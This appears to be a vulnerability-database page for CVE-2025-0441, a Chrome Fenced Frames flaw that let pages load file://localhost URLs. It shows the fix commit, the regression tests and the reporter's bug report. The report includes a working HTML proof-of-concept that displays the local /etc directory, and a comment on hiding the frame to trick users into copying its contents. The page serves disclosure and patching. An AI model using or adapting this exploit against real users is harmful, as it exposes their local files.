PatchGap
Chrome · Fenced Frames

CVE-2025-0441

Logic Error in Fenced Frames
Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in Fenced Frames
DescriptionInappropriate implementation in Fenced Frames
ComponentFenced Frames
Bug ClassLogic Error
Tracker368628042
Fix commit3505b1514330 (chromium/src) +48/-18
CISA KEVNot listed
Creditedsomeoneverycurious
Disclosed2025-01-14

Changed Functions

FunctionChangeNotes
TEST_F
third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
 modified
for
third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
 modified

Files Changed

  • third_party/blink/common/fenced_frame/fenced_frame_utils.cc
  • third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
  • third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html

Patch

view commit
From 3505b15143306c95caf36552fef3992271d6b04e Mon Sep 17 00:00:00 2001
From: Liam Brady <lbrady@google.com>
Date: Tue, 15 Oct 2024 19:43:24 +0000
Subject: [PATCH] Fenced frame: Prevent file://localhost/* files from loading.

Fenced frames are meant to be able to load the following URLs with a
default constructor:
- about:blank URLs
- https://* URLs
- http://localhost URLs

The `net::IsLocalhost()` check that is currently being used for the last
case is only checking that the URL starts with "localhost", not that
the scheme is http/https. This allows the fenced frame to load URLs like file://localhost/path/to/file. This CL tightens the check to also
check that the scheme is HTTP. The "https://localhost/*" case will
still be covered by the "https://*" check.

Bug: 368628042
Change-Id: If53573f5701c28e5674ecb524191cddc12b950fe
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/5902121
Reviewed-by: Shivani Sharma <shivanisha@chromium.org>
Commit-Queue: Liam Brady <lbrady@google.com>
Cr-Commit-Position: refs/heads/main@{#1368957}
---

diff --git a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
index 18c6d28..0ddbcdd 100644
--- a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
+++ b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
@@ -14,13 +14,21 @@
 #include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
 #include "url/gurl.h"
 
+namespace {
+
+bool IsHttpLocalhost(const GURL& url) {
+  return url.SchemeIs(url::kHttpScheme) && net::IsLocalhost(url);
+}
+
+}  // namespace
+
 namespace blink {
 
 bool IsValidFencedFrameURL(const GURL& url) {
   if (!url.is_valid())
     return false;
   return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
-          net::IsLocalhost(url)) &&
+          IsHttpLocalhost(url)) &&
          !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
 }
 
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+  std::vector<String> test_cases = {
+      "http://example.com",
+      "blob:https://example.com",
+      "file://path/to/file",
+      "file://localhost/path/to/file",
+  };
+
   Document& doc = GetDocument();
 
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com/")));
-  doc.body()->AppendChild(fenced_frame);
+  for (const String& url : test_cases) {
+    auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+    fenced_frame->setConfig(FencedFrameConfig::Create(url));
+    doc.body()->AppendChild(fenced_frame);
+  }
+
   histogram_tester_.ExpectUniqueSample(
       kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
-  Document& doc = GetDocument();
-
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com")));
-  doc.body()->AppendChild(fenced_frame);
-  histogram_tester_.ExpectUniqueSample(
-      kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+      FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+  const key = token();
+  const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+      "/fenced-frame/resources/embeddee.html", [key]);
+  attachFencedFrame(url);
+
+  const result = await nextValueFromServer(key);
+  assert_equals(result, "PASS",
+      "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+  std::vector<String> test_cases = {
+      "http://example.com",
+      "blob:https://example.com",
+      "file://path/to/file",
+      "file://localhost/path/to/file",
+  };
+
   Document& doc = GetDocument();
 
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com/")));
-  doc.body()->AppendChild(fenced_frame);
+  for (const String& url : test_cases) {
+    auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+    fenced_frame->setConfig(FencedFrameConfig::Create(url));
+    doc.body()->AppendChild(fenced_frame);
+  }
+
   histogram_tester_.ExpectUniqueSample(
       kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
-  Document& doc = GetDocument();
-
-  auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
-  fenced_frame->setConfig(
-      FencedFrameConfig::Create(String("http://example.com")));
-  doc.body()->AppendChild(fenced_frame);
-  histogram_tester_.ExpectUniqueSample(
-      kFencedFrameCreationOrNavigationOutcomeHistogram,
-      FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+      FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
 }
 
 TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+  const key = token();
+  const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+      "/fenced-frame/resources/embeddee.html", [key]);
+  attachFencedFrame(url);
+
+  const result = await nextValueFromServer(key);
+  assert_equals(result, "PASS",
+      "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by so...@proton.me

FencedFrame allows loading local file directories in http(s?) context

Steps to reproduce the problem

  1. Enable fenced frame for your PoC server (#privacy-sandbox-enrollment-overrides flag, add your PoC server domain to this list; or do PoC on websites where fencedframe usage is allowed by default)
  2. serve exploit.html file, navigate to //$my_poc_server_url/exploit.html
  3. observe fencedframe displaying file:///etc folder

PoC (exploit.html)

<body>
  <script>
    (async function start() {
      var frame = document.body.appendChild(document.createElement("fencedframe"))
      frame.setAttribute("height", "600")
      frame.setAttribute("width", "600")
      // we can make the iframe not visible to user to trick them into running cmd+a + cmd+c to steal the contents of the folder through clipboard
      // frame.setAttribute('style', `position: absolute; left: -2000; width: 5000px; height: 5000px;`)

      const blob = new Blob([``], { type: 'text/javascript' });
      const blobURL = URL.createObjectURL(blob);
      await window.sharedStorage.worklet.addModule(blobURL);
      var fencedFrameConfig = await window.sharedStorage.selectURL(
        'ab-testing',
        [
          { url: "file://localhost/etc" },
        ],
        {
          resolveToConfig: true
        }
      );
      frame.config = fencedFrameConfig;
    }());
  </script>
</body>

Problem Description

any ://localhost/ URI is a valid fenced frame URI https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19

bool IsValidFencedFrameURL(const GURL& url) {
  if (!url.is_valid())
    return false;
  return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
          net::IsLocalhost(url)) && // <--------- does not check for protocol
         !url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}

Why can’t we load file://localhost/etc/passwd then? (theory, I’ve not confirmed it yet) https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc

response to request for file directories has no headers, I suspect (not confirmed yet) that’s why should_enforce_fenced_frame_opt_in evaluates to false and the error is not thrown.

const bool should_enforce_fenced_frame_opt_in =
      response_should_be_rendered_ && response_head_->headers &&
      frame_tree_node_->IsInFencedFrameTree() &&
      !(url.IsAboutBlank() || url.SchemeIsBlob() ||
        url.SchemeIs(url::kDataScheme));
  if (should_enforce_fenced_frame_opt_in &&
      !IsOptedInFencedFrame(*response_head_->headers))

Version affects both stable and canary

Summary

FencedFrame allows loading local file directories in http(s?) context

Custom Questions

Reporter credit:

someoneverycurious

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A

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